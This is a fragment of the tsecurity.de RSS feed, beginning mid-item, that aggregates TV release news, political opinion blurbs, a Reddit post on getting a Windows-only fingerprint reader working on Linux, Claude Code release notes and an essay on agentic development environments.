<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[House of the Dragon Season 3, Episode 5 will arrive on Sunday, July 19, 2026, continuing the increasingly violent conflict between Rhaenyra Targaryen and the forces supporting Aegon II. Viewers in India can stream the episode early on Monday, July 20.



Episode 5 Release Details




US release date: Sunday, July 19, 2026



US release time: 9 p.m. ET and 6 p.m. PT



India release date: Monday, July 20, 2026



India release time: Around 6:30 a.m. IST



Where to watch: HBO and HBO Max in supported regions



Genre: Fantasy, drama and action



Episode: Season 3, Episode 5



Runtime: HBO has not confirmed the official duration



Main cast: Emma D’Arcy, Matt Smith, Olivia Cooke, Ewan Mitchell, Tom Glynn-Carney, Sonoya Mizuno, Phoebe Campbell and James Norton




Season 3 contains eight episodes, with a new episode releasing every Sunday in the United States. The finale is currently scheduled for August 9, 2026.



Where Is the Story Heading?



Spoilers for House of the Dragon Season 3, Episode 4 ahead.



Episode 5 will continue the fallout from Daeron Targaryen’s disturbing transformation under Ormund Hightower. Ormund forced the young prince into committing his first murder, using Tessarion to kill Leo after a confrontation involving Hightower soldiers. The event showed how Ormund intends to shape Daeron into a weapon for the Greens.



Daeron now faces a growing conflict between his Targaryen identity and the Hightower family that raised him. His connection with Tessarion also makes him an important player in the war, especially as both sides prepare for larger battles around Tumbleton.



Daemon’s Secret Could Create More Trouble



Episode 4 also revealed that Daemon lied to Rhaenyra about killing Sheepstealer’s rider. The rider is his daughter Rhaena, who refused to abandon the wild dragon. Daemon instead killed a shepherd and presented the remains to Rhaenyra as proof that he had completed her order.



Episode 5 could place Daemon under greater pressure as Mysaria already suspects that he is hiding something. Rhaena’s bond with Sheepstealer also gives the Blacks another possible dragonrider, although her decision to claim the dragon could deepen the conflict within Rhaenyra’s court.



Meanwhile, Rhaenyra must handle political betrayal, financial problems and growing doubts about her leadership. With Daeron entering the war and Daemon keeping dangerous secrets, Episode 5 should move several major characters closer to direct confrontation.



What do you plan to watch when House of the Dragon Season 3, Episode 5 arrives? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[„House of the Dragon“ Staffel 3 ist da: Start von Episode 5 auf HBO Max und WOW]]></title>
<description><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></description>
<link>https://tsecurity.de/de/3664461/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-start-von-episode-5-auf-hbo-max-und-wow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664461/it-nachrichten/house-of-the-dragon-staffel-3-ist-da-start-von-episode-5-auf-hbo-max-und-wow/</guid>
<pubDate>Mon, 13 Jul 2026 09:02:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jetzt wird der „Dance of the Dragons“ endgültig zum offenen Krieg: Die dritte Staffel von „House of the Dragon“ ist gestartet und bringt die bislang größten Schlachten der gesamten Serie auf die Bildschirme. Wann ihr die neue Folge seht, verraten wir euch hier.]]></content:encoded>
</item>
<item>
<title><![CDATA[Will Iowa Call for an Investigation of Their Soldiers Killed in Iran?]]></title>
<description><![CDATA[Just thinking out loud here, how rural state representatives are supposed to represent their constituencies and not be lapdogs of elites throwing lives away in pointless foreign wars. Survivors of Iranian attack that killed 6 U.S. troops say generals ignored warnings: The drone strike on Port Shu...]]></description>
<link>https://tsecurity.de/de/3663675/it-security-nachrichten/will-iowa-call-for-an-investigation-of-their-soldiers-killed-in-iran/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663675/it-security-nachrichten/will-iowa-call-for-an-investigation-of-their-soldiers-killed-in-iran/</guid>
<pubDate>Sun, 12 Jul 2026 19:53:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Just thinking out loud here, how rural state representatives are supposed to represent their constituencies and not be lapdogs of elites throwing lives away in pointless foreign wars. Survivors of Iranian attack that killed 6 U.S. troops say generals ignored warnings: The drone strike on Port Shuaiba in Kuwait occurred on the second day of … <a href="https://www.flyingpenguin.com/will-iowa-call-for-an-investigation-of-their-soldiers-killed-in-iran/" class="more-link">Continue reading <span class="screen-reader-text">Will Iowa Call for an Investigation of Their Soldiers Killed in Iran?</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA['Quality decays exponentially following AI arrival': Research shows experts and contributors leaving online communities amidst silent 'knowledge reset']]></title>
<description><![CDATA[AI may have killed Stack Overflow while training on the same platform, as it pushed expert contributors away from the platform]]></description>
<link>https://tsecurity.de/de/3662764/it-nachrichten/quality-decays-exponentially-following-ai-arrival-research-shows-experts-and-contributors-leaving-online-communities-amidst-silent-knowledge-reset/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662764/it-nachrichten/quality-decays-exponentially-following-ai-arrival-research-shows-experts-and-contributors-leaving-online-communities-amidst-silent-knowledge-reset/</guid>
<pubDate>Sun, 12 Jul 2026 07:17:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI may have killed Stack Overflow while training on the same platform, as it pushed expert contributors away from the platform]]></content:encoded>
</item>
<item>
<title><![CDATA[ICE are heavily armed killers. They’re also huge losers]]></title>
<description><![CDATA[Donald Trump's Homeland Security regime has been at the center of two critical stories in the past two weeks. In the first, federal agents shot and killed a man and quickly got to work justifying the use of force under the flimsiest of pretenses. In the other, it made house calls to people who sa...]]></description>
<link>https://tsecurity.de/de/3661876/it-nachrichten/ice-are-heavily-armed-killers-theyre-also-huge-losers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661876/it-nachrichten/ice-are-heavily-armed-killers-theyre-also-huge-losers/</guid>
<pubDate>Sat, 11 Jul 2026 15:02:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Donald Trump's Homeland Security regime has been at the center of two critical stories in the past two weeks. In the first, federal agents shot and killed a man and quickly got to work justifying the use of force under the flimsiest of pretenses. In the other, it made house calls to people who said […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City]]></title>
<description><![CDATA[The longest blackout in Berlin, since Hitler killed himself, was last January as temperatures hovered below freezing. The Russian-directed “Vulkan” arson attack on a cable bridge in the city’s southwest stopped electricity to 45,000 households and 2,200 businesses, with some 100,000 residents lef...]]></description>
<link>https://tsecurity.de/de/3661346/it-security-nachrichten/berlin-mayor-drops-out-sorry-for-mess-of-russia-burning-the-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661346/it-security-nachrichten/berlin-mayor-drops-out-sorry-for-mess-of-russia-burning-the-city/</guid>
<pubDate>Sat, 11 Jul 2026 08:06:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The longest blackout in Berlin, since Hitler killed himself, was last January as temperatures hovered below freezing. The Russian-directed “Vulkan” arson attack on a cable bridge in the city’s southwest stopped electricity to 45,000 households and 2,200 businesses, with some 100,000 residents left without heat. The Mayor basically played tennis from the start, with another … <a href="https://www.flyingpenguin.com/berlin-mayor-drops-out/" class="more-link">Continue reading <span class="screen-reader-text">Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City]]></title>
<description><![CDATA[The longest blackout in Berlin, since Hitler killed himself, was last January as temperatures hovered below freezing. The Russian-directed “Vulkan” arson attack on a cable bridge in the city’s southwest stopped electricity to 45,000 households and 2,200 businesses, with some 100,000 residents lef...]]></description>
<link>https://tsecurity.de/de/3661326/it-security-nachrichten/berlin-mayor-drops-out-sorry-for-mess-of-russia-burning-the-city/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661326/it-security-nachrichten/berlin-mayor-drops-out-sorry-for-mess-of-russia-burning-the-city/</guid>
<pubDate>Sat, 11 Jul 2026 07:52:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The longest blackout in Berlin, since Hitler killed himself, was last January as temperatures hovered below freezing. The Russian-directed “Vulkan” arson attack on a cable bridge in the city’s southwest stopped electricity to 45,000 households and 2,200 businesses, with some 100,000 residents left without heat. The Mayor basically played tennis from the start, with another … <a href="https://www.flyingpenguin.com/berlin-mayor-quits-apologizes-for-playing-tennis-while-russia-burned-critical-infrastructure/" class="more-link">Continue reading <span class="screen-reader-text">Berlin Mayor Drops Out, Sorry for “Mess” of Russia Burning the City</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Got a "Windows Hello only" USB fingerprint reader working on Linux by running the vendor's Windows matcher natively]]></title>
<description><![CDATA[Bought a cheap standalone USB fingerprint dongle (Focal-systems FT9201, 2808:93a9) that's marketed as Windows Hello only. libfprint's built-in matcher does a poor job on the tiny 96×96 sensor, and the device is "match-on-host" - the actual matching lives in a vendor Windows DLL, not on the chip. ...]]></description>
<link>https://tsecurity.de/de/3661110/linux-tipps/got-a-windows-hello-only-usb-fingerprint-reader-working-on-linux-by-running-the-vendors-windows-matcher-natively/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661110/linux-tipps/got-a-windows-hello-only-usb-fingerprint-reader-working-on-linux-by-running-the-vendors-windows-matcher-natively/</guid>
<pubDate>Sat, 11 Jul 2026 04:09:44 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Bought a cheap standalone <a href="https://www.amazon.com/dp/B0DK7LQZGH">USB fingerprint dongle (Focal-systems FT9201, 2808:93a9)</a> that's marketed as Windows Hello only. libfprint's built-in matcher does a poor job on the tiny 96×96 sensor, and the device is "match-on-host" - the actual matching lives in a vendor Windows DLL, not on the chip.</p> <p>So instead of reimplementing the matcher, the driver loads the vendor's Windows matching engine (ftWbioEngineAdapter.dll) in-process on Linux and calls its WinBio interface for enroll/verify. It's a small PE loader with ~90 kernel32 shims and a fake TEB. Getting there also meant reverse-engineering the sensor's firmware-boot sequence (the MCU wouldn't run its firmware without a specific register-config dance).</p> <p>The loader maps code read-execute and data read-write from an in-memory file, so no page is ever writable+executable - meaning it runs under fprintd's default MemoryDenyWriteExecute hardening without disabling anything. It enrolls and verifies through fprintd / KDE now.</p> <p>Packaged as an out-of-tree libfprint driver - no proprietary binaries committed (the DLL and firmware are fetched/extracted from public sources at build time).</p> <p>I also wrote up the method, since it should generalize to other match-on-host "Windows Hello only" readers.</p> <p>*Edit: This project would not have been possible without the help of agentic coding. I'm personally responsible for research, testing, ideation and pushing this goal forward. Claude Code and my development stack handled the majority of code, testing and writing tasks. I am not looking for kudos on being an amazing developer or am looking for clout. I just wanted to share a method of actualizing something into existence that I know will help solve for an underserved gap in Linux hardware parity. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/OMGrant"> /u/OMGrant </a> <br> <span><a href="https://github.com/OMGrant/ft9201-libfprint">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1usgp9g/got_a_windows_hello_only_usb_fingerprint_reader/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Brown Professor Suspects Majority of His Class Used AI To Cheat]]></title>
<description><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a f...]]></description>
<link>https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</guid>
<pubDate>Sat, 11 Jul 2026 01:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a few students had expressed anxiety about being in a classroom after a gunman killed two students and injured nine in a December mass shooting at Brown, and so "it was appropriate," he said, to allow students to take their exams at home. But by the end of the semester, Serrano regretted the decision. Dozens of students in the class likely used artificial intelligence to cheat and earn perfect or near-perfect scores on their midterm, he said. Serrano in turn made the final exam in-person, which led more than a dozen students to drop the course and even more to fail it.
 
Administrators' response to the widespread cheating event has been "meek," he said, and the incident has raised questions about how universities can -- and should -- respond to AI-enabled cheating at scale. "I am not declaring [the midterm] void for now. I am going to give the class a chance to prove me wrong," he wrote. "That is, if the distribution of the final exam is roughly similar to the distribution of the midterm, I will count the midterm. Otherwise, which is of course what I expect to happen, I will declare the midterm void and reweigh the final accordingly." Serrano heard crickets from his students, but 18 of them subsequently dropped the class. Nine students remained enrolled but did not take the final exam. And Serrano said the results proved him right; three students earned a zero, and the average score on the final was 48.6 percent -- by far a historic low, he said. Previously, the average final exam score had never dropped below 65 percent. Only a few students scored similarly to how they did on the midterm.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Brown+Professor+Suspects+Majority+of+His+Class+Used+AI+To+Cheat%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F10%2F2215249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F10%2F2215249%2Fbrown-professor-suspects-majority-of-his-class-used-ai-to-cheat%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/10/2215249/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ICE is threatening to deport witnesses of its latest shooting]]></title>
<description><![CDATA[Advocates are demanding that the Department of Homeland Security release bodycam footage of the fatal shooting of Lorenzo Salgado Araujo, a Mexican immigrant who was killed by ICE officers in Houston during a traffic stop earlier this week. But DHS claims the agents involved in the shooting weren...]]></description>
<link>https://tsecurity.de/de/3660683/it-nachrichten/ice-is-threatening-to-deport-witnesses-of-its-latest-shooting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660683/it-nachrichten/ice-is-threatening-to-deport-witnesses-of-its-latest-shooting/</guid>
<pubDate>Fri, 10 Jul 2026 21:32:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Advocates are demanding that the Department of Homeland Security release bodycam footage of the fatal shooting of Lorenzo Salgado Araujo, a Mexican immigrant who was killed by ICE officers in Houston during a traffic stop earlier this week. But DHS claims the agents involved in the shooting weren't wearing body cameras because of the lengthy […]]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI's Atlas browser doesn't make it to its first birthday]]></title>
<description><![CDATA[Standalone experiment killed after less than 12 months as model maker redirects agentic ambitions towards workplace productivity]]></description>
<link>https://tsecurity.de/de/3660145/it-nachrichten/openais-atlas-browser-doesnt-make-it-to-its-first-birthday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660145/it-nachrichten/openais-atlas-browser-doesnt-make-it-to-its-first-birthday/</guid>
<pubDate>Fri, 10 Jul 2026 17:03:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Standalone experiment killed after less than 12 months as model maker redirects agentic ambitions towards workplace productivity]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.206]]></title>
<description><![CDATA[What's changed

Added directory path suggestions to /cd, matching /add-dir behavior
Added a /doctor check that proposes trimming checked-in CLAUDE.md files by cutting content Claude could derive from the codebase
/commit-push-pr now auto-allows git push to the repo's configured push remote (remot...]]></description>
<link>https://tsecurity.de/de/3658504/downloads/v21206/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658504/downloads/v21206/</guid>
<pubDate>Fri, 10 Jul 2026 03:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added directory path suggestions to <code>/cd</code>, matching <code>/add-dir</code> behavior</li>
<li>Added a <code>/doctor</code> check that proposes trimming checked-in <code>CLAUDE.md</code> files by cutting content Claude could derive from the codebase</li>
<li><code>/commit-push-pr</code> now auto-allows <code>git push</code> to the repo's configured push remote (<code>remote.pushDefault</code>, or the sole remote when only one is configured) in addition to <code>origin</code></li>
<li>Gateway: <code>/login</code> now supports Anthropic-operated public gateway endpoints</li>
<li><code>EnterWorktree</code> now asks for confirmation before entering a git worktree outside the project's <code>.claude/worktrees/</code> directory</li>
<li>Background agents now upgrade to a new version in the background right after a Claude Code update, instead of paying a slow stale-session upgrade when you attach</li>
<li>Fixed an expired login failing every model with a misleading "There's an issue with the selected model" error instead of prompting to run <code>/login</code></li>
<li>Fixed <code>claude --resume</code> and <code>--continue</code> not responding to keyboard input on startup</li>
<li>Fixed MCP servers configured via <code>--mcp-config</code> or <code>.mcp.json</code> ignoring a per-server <code>request_timeout_ms</code>, which caused long-running MCP tool calls to time out at the 60s default in fresh sessions</li>
<li>Fixed <code>CLAUDE_CODE_EXTRA_BODY</code> being silently ignored by <code>claude agents</code> / <code>--bg</code> background workers; the shell-exported override now follows the dispatching session</li>
<li>Fixed OAuth MCP servers requiring manual re-authentication after a single failed token refresh</li>
<li>Fixed <code>--permission-prompt-tool</code> pointing at an MCP server crashing with "MCP tool not found" on cold start before the server finishes connecting</li>
<li>Fixed <code>/model</code> picker rows printing a price for a different model than the row named, and stopped quoting first-party list prices on providers that don't bill them</li>
<li>Fixed server-provided model rows being misplaced in the <code>/model</code> picker when an entitlement or allowlist restriction drops the row they were positioned against</li>
<li>Fixed desktop sessions getting stuck showing "running" after a slash command was sent mid-turn</li>
<li>Fixed keyboard input being ignored in the agents view when a setup prompt appeared before a bare <code>claude --resume</code> on Windows</li>
<li>Fixed <code>claude rm</code> leaving the removed job in the daemon roster, causing the row to reappear in <code>claude agents</code></li>
<li>Fixed <code>/remote-control</code> showing "Unknown command" when logged out — it now explains how to sign in</li>
<li>Fixed left arrow not stepping back out of a phase or agent in the workflow detail view</li>
<li>Fixed <code>/status</code> listing the same broken-install warning twice</li>
<li>Fixed false "disused plugin" tips and skewed disuse telemetry for LSP plugins</li>
<li>Fixed <code>/doctor</code>'s update check to compare Homebrew installs against their cask's channel instead of the settings channel</li>
<li>Fixed the fullscreen jump-to-bottom pill suggesting Ctrl+End on macOS, not showing rebound chords, and wrapping over the transcript</li>
<li>Bedrock: fixed a multi-minute startup hang when using an <code>awsCredentialExport</code> helper on networks with restricted egress</li>
<li>Improved <code>/code-review</code> findings quality on claude-opus-4-8 across all effort levels</li>
<li>Improved agents view: status column now uses full terminal width instead of truncating at 64 characters</li>
<li>Changed agents view: Ctrl+X now permanently removes a completed session, and sessions no longer render twice; deleted background jobs stay deleted</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Berlin Court Jails a Serial Murderer: Doctor Killed Patients and Burned Their Homes]]></title>
<description><![CDATA[The Berlin court says a doctor was committing heinous serial murders for at least three years before German authorities stopped him. At least fifteen people are confirmed victims, with women being the vast majority. Burning nearly half their homes seems like the kind of clue that makes the timeli...]]></description>
<link>https://tsecurity.de/de/3656444/it-security-nachrichten/berlin-court-jails-a-serial-murderer-doctor-killed-patients-and-burned-their-homes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656444/it-security-nachrichten/berlin-court-jails-a-serial-murderer-doctor-killed-patients-and-burned-their-homes/</guid>
<pubDate>Thu, 09 Jul 2026 11:08:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Berlin court says a doctor was committing heinous serial murders for at least three years before German authorities stopped him. At least fifteen people are confirmed victims, with women being the vast majority. Burning nearly half their homes seems like the kind of clue that makes the timeline of inaction even worse. The court … <a href="https://www.flyingpenguin.com/berlin-court-jails-a-serial-murderer-doctor-killed-patients-and-burned-their-homes/" class="more-link">Continue reading <span class="screen-reader-text">Berlin Court Jails a Serial Murderer: Doctor Killed Patients and Burned Their Homes</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The IDE is dead, long live the ADE]]></title>
<description><![CDATA[For the last 40 years or so, software development tooling has centered around the IDE — the integrated development environment. Borland is widely credited with bringing the IDE to the masses. The joining of the editor, compiler, and debugger into a single entity revolutionized the software develo...]]></description>
<link>https://tsecurity.de/de/3653744/ai-nachrichten/the-ide-is-dead-long-live-the-ade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653744/ai-nachrichten/the-ide-is-dead-long-live-the-ade/</guid>
<pubDate>Wed, 08 Jul 2026 11:04:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the last 40 years or so, software development tooling has centered around the IDE — the integrated development environment. Borland is widely credited with bringing the IDE to the masses. The joining of the editor, compiler, and debugger into a single entity revolutionized the software development industry. The popularization of the IDE through the likes of my beloved Turbo Pascal in the mid-1980s marked a huge turning point for coding. </p>



<p>But the IDE’s reign is over. With the unbelievably rapid rise of agentic coding, the IDE has become an afterthought, a tool that developers are finding they use less and less. Instead, developers are spending time managing agents that are actually writing the code. </p>



<p>Things are moving pretty fast, changing monthly if not weekly. It was only a few months ago that I was building things inside my IDE with an agent’s help. But before long, I had four or five console windows open, working on different projects all at the same time as the agents ground away at different things. This was barely manageable when working on separate repositories and projects at the same time, but when I wanted to work on different features inside the same repository, it got a bit hairy.</p>



<p>Clearly, we developers have a need for a next-generation tool to manage all of this. </p>



<h2 class="wp-block-heading">Coding agents need worktrees </h2>



<p>The first step was recognizing a little-known and underutilized feature of Git — <a href="https://git-scm.com/docs/git-worktree" data-type="link" data-id="https://git-scm.com/docs/git-worktree">worktrees</a>. Git worktrees allow you to check out multiple branches of the same repository into different directories from a single Git database. A longtime power-user technique used only by a few, worktrees are perfectly suited for the new world of agentic coding.  </p>



<p>Typically, a developer would work on one ticket at a time, and a simple Git checkout would do the trick. That assumes one actor — the developer — working on the codebase. But with coding agents, the notion of working on three Jira tickets at the very same time is no longer crazy, and worktrees enable that. They give each “developer” their own branch and directory. It’s easy isolation without the overhead of cloning and forking separate instances of repositories. </p>



<p>So this old Git feature that has been lying around basically unused has suddenly become the key to agentic coding. But of course, the overhead of worktrees is challenging in and of itself. If only there were a way to manage all of that in one place.</p>



<h2 class="wp-block-heading">Agentic coders need ADEs</h2>



<p>And that is where ADEs come in — agentic development environments. A new kind of development environment that arose with agentic AI, an ADE coordinates and manages all of the things that need to happen when multiple coding agents work on multiple issues in multiple branches in one repository. As <a href="https://www.linkedin.com/in/matthewpjohnston/" data-type="link" data-id="https://www.linkedin.com/in/matthewpjohnston/">Matt Johnston</a>, CEO of GitKraken, maker of the <a href="https://www.gitkraken.com/kepler">Kepler ADE</a>, put it, “The IDE was built for the age of one human typing. The ADE is built for the age of humans orchestrating fleets of agents.” </p>



<p>ADEs will do all the dirty work of opening, running, and closing the worktrees in Git. Having five console windows open and managing all of that is not something a human is very good at. But an AI-driven agentic development environment sure is. </p>



<p>The days of single-threaded development are over. With an ADE, developers can multitask with ease and track many tasks at once. Without having to worry about the logistics and overhead of managing multiple agents working in multiple worktrees, developers can focus on directing the agents and ensuring that they do the right work for the task at hand. </p>



<p>Admit it, you don’t really use the IDE that much anymore. And you aren’t going to miss it.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.203]]></title>
<description><![CDATA[What's changed

Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted
Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible
Added the session's additional working directories to ...]]></description>
<link>https://tsecurity.de/de/3652787/downloads/v21203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652787/downloads/v21203/</guid>
<pubDate>Tue, 07 Jul 2026 23:16:55 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added a warning when your login is about to expire, so you can re-authenticate before background sessions are interrupted</li>
<li>Added a grey ⏸ badge to the footer when in manual permission mode, making the active mode always visible</li>
<li>Added the session's additional working directories to MCP <code>roots/list</code>, with <code>notifications/roots/list_changed</code> sent when the set changes</li>
<li>Fixed opening or switching background agent sessions on macOS stalling for 15–20 seconds due to a false low-memory detection (regression in 2.1.196)</li>
<li>Fixed background sessions becoming permanently unresponsive to attach, replies, and stop when the daemon's session token went stale — the session now recovers automatically</li>
<li>Fixed returning to <code>claude agents</code> silently stopping running subagents and re-running the prompt from scratch — their work now carries over</li>
<li>Fixed a memory and per-turn CPU regression in interactive sessions: the context-usage indicator no longer re-analyzes the entire transcript after every turn</li>
<li>Fixed background agents inheriting a stale <code>PATH</code> from the daemon instead of the dispatching shell, causing missing tools on Windows</li>
<li>Fixed background and agent-view sessions dropping a shell-exported <code>ANTHROPIC_BASE_URL</code>, which sent API keys to the default endpoint and failed with 401</li>
<li>Fixed Bash failing with "argument list too long" in repos with many git worktrees</li>
<li>Fixed worktree-isolated subagents sometimes running shell commands in the parent checkout instead of their own worktree</li>
<li>Fixed worktree creation rejecting nested repositories in multi-repo workspaces, leaving background sessions unable to isolate and edit</li>
<li>Fixed background agents crash-looping when their working directory was deleted, replaced by a file, or became an invalid path — they now fail once with a clear error</li>
<li>Fixed a background daemon auto-upgrade failure silently killing all running background sessions</li>
<li>Fixed <code>TaskStop</code> and <code>TaskOutput</code> failing to find background agents spawned by another agent — errors now list running agents by id and description</li>
<li>Fixed the <code>claude agents</code> composer discarding your typed message when a slash command isn't available there</li>
<li>Fixed the agent list crashing when opening a stopped session whose conversation was already open in another session</li>
<li>Fixed background sessions showing "Needs input" in the agent list after the question was already answered</li>
<li>Fixed background agent startup failures showing only "exit_with_message" instead of the actual error</li>
<li>Fixed background sessions ignoring <code>effortLevel</code> changes in settings.json when forked through the daemon</li>
<li>Fixed attached background sessions ignoring <code>CLAUDE_CODE_DISABLE_MOUSE</code> and <code>CLAUDE_CODE_DISABLE_MOUSE_CLICKS</code> opt-outs</li>
<li>Fixed <code>/exit</code> incorrectly warning about running background agents after all named agents had completed</li>
<li>Fixed background sessions started from a non-git directory unable to edit files when a <code>WorktreeCreate</code> hook was configured</li>
<li>Fixed the <code>@</code> directory picker in <code>claude agents</code> not showing registered git worktrees</li>
<li>Fixed background task output on Windows being permanently replaced by an empty file after <code>/clear</code></li>
<li>Fixed content jumping when scrolling up through long transcript history</li>
<li>Fixed the terminal flickering and jumping while typing in bash mode when a shell-history suggestion was shown</li>
<li>Fixed literal <code>^[[I</code> / <code>^[[O</code> escape codes being printed when reattaching to a background session</li>
<li>Fixed LSP-only plugins being incorrectly flagged for disuse when their language servers deliver diagnostics or answer navigation requests</li>
<li>Improved responsiveness while long responses stream: live-preview updates no longer re-render the whole screen</li>
<li>Improved subagent behavior: agents are now less likely to re-delegate their entire task to another subagent</li>
<li>Reduced binary size by ~7 MB and startup memory by ~7 MB by loading a large bundled dependency lazily instead of inlining it</li>
<li>Changed left arrow to no longer close the background tasks, diff, and workflow detail views — press Esc instead</li>
<li>Changed the empty <code>claude agents</code> view to always show the organized sections (Needs input / Working / Completed) with descriptions</li>
<li>Removed the startup "claude command missing or broken" warnings — they now appear in <code>/doctor</code> and <code>/status</code> instead</li>
<li>Removed a redundant navigation hint from the <code>claude agents</code> footer</li>
<li>[VSCode] Added a Settings toggle for "Enable Remote Control for all sessions"</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Messages has just been killed off, forcing loyal users to make the switch to Google Messages, and not everyone is pleased — this is what you need to do]]></title>
<description><![CDATA[Samsung Messages has finally shut down in favor of Google Messages, and this is what you need to do if you haven't made the switch.]]></description>
<link>https://tsecurity.de/de/3652716/it-nachrichten/samsung-messages-has-just-been-killed-off-forcing-loyal-users-to-make-the-switch-to-google-messages-and-not-everyone-is-pleased-this-is-what-you-need-to-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652716/it-nachrichten/samsung-messages-has-just-been-killed-off-forcing-loyal-users-to-make-the-switch-to-google-messages-and-not-everyone-is-pleased-this-is-what-you-need-to-do/</guid>
<pubDate>Tue, 07 Jul 2026 22:32:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung Messages has finally shut down in favor of Google Messages, and this is what you need to do if you haven't made the switch.]]></content:encoded>
</item>
<item>
